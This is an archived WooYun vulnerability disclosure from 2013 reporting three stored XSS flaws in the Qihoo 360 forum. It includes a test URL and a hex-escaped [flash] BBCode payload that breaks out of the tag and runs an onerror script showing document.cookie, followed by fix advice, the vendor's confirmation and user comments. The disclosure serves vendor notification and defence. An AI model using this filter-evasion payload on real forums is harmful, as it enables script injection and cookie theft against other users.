当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-032149

漏洞标题：发三个360论坛的储存型xss

相关厂商：奇虎360

漏洞作者： px1624

提交时间：2013-07-24 23:38

修复时间：2013-09-07 23:38

公开时间：2013-09-07 23:38

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-07-24： 细节已通知厂商并且等待厂商处理中
2013-07-25： 厂商已经确认，细节仅向厂商公开
2013-08-04： 细节向核心白帽子及相关领域专家公开
2013-08-14： 细节向普通白帽子公开
2013-08-24： 细节向实习白帽子公开
2013-09-07： 细节向公众公开

简要描述：

诶，没WB了，歇息了两个多月了，来赚点WB。

详细说明：

xss（一）自动触发，通杀所有浏览器。位置：360论坛发帖回帖富文本。
测试地址：

http://bbs.360safe.com/forum.php?mod=viewthread&tid=2118854&pid=15047210&page=8&extra=#pid15047210


利用代码：

[flash=222,111]http://aa\x22\x3e\x3c\x69\x6d\x67\x20\x73\x72\x63\x3d\x31\x20\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x61\x6c\x65\x72\x74\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x29\x3e//.swf[/flash]


1.png


2.png


xss（二）点击触发，通杀所有浏览器。

3.png


4.png


5.png


xss（三）点击触发，通杀所有浏览器。这个之前貌似提交过，还没修好，再顺便提交提醒下你们。

3.png


6.png


7.png

漏洞证明：

见上面。
求15-20rank。

修复方案：

方法一：
xss（一）过滤\字符
xss（二）xss（三）过滤javascript
方法二：
去dz官网打补丁

版权声明：转载请注明来源 px1624@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2013-07-25 00:56

厂商回复：

感谢您的反馈，该问题已经确认，我们的工作人员正在抓紧修复。

最新状态：

暂无

漏洞评价：

评论

  1. 2013-07-24 23:38 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    哈哈哈哈哈。基友好久不见啊。

  2. 2013-07-24 23:41 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @小胖子 。。。我擦，两个月没见你都已经502了啊。。。

  3. 2013-07-24 23:43 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    @px1624 我擦，我也两个月没发就这个月8号才有网开始的好吧亲。这么晚了还在撸啊。

  4. 2013-07-24 23:49 | 淡漠天空 认证白帽子 ( 实习白帽子 | Rank:1113 漏洞数:142 | M:出售GOV STATE NSA CIA NASA DHS Symant...)

    楼上的都jb比我高 呜呜呜 要命

  5. 2013-07-24 23:52 | 小杨 ( 路人 | Rank:22 漏洞数:4 | 。)

    新人求罩啊

  6. 2013-07-25 00:07 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者，关注web安全。)

    px哥很久没来了。。一来就是三发。。

  7. 2013-07-25 07:35 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @齐迹 你多大？吼吼~赚了10WB

  8. 2013-07-25 07:39 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @小胖子 没能量了啊，要来加加油诶。。

  9. 2013-07-25 07:43 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

    @小胖子 502-Bad Gateway

  10. 2013-07-25 09:04 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者，关注web安全。)

    @px1624 高手 都统称哥！和年龄无关

  11. 2013-07-25 09:09 | saline ( 普通白帽子 | Rank:231 漏洞数:32 | Focus On Web Secur1ty)

    @px1624 wb = 1/3 rank?

  12. 2013-07-25 09:34 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @齐迹 。。擦，你就黑我吧，都么有你rank多，还有xsser.me的几个问题你还没帮我解答呢。。

  13. 2013-07-25 09:35 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @saline 不是啊，有机制的，大厂商WB=RANK小厂商貌似是，高=4，中=2，低=1

  14. 2013-07-25 09:42 | Passer_by ( 实习白帽子 | Rank:97 漏洞数:21 | 问题真实存在但是影响不大（腾讯微博Passer...)

    他们不是用的dz么

  15. 2013-12-10 16:10 | 大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)

    请教大牛，怎么发现xss存储漏洞，一般怎么去找啊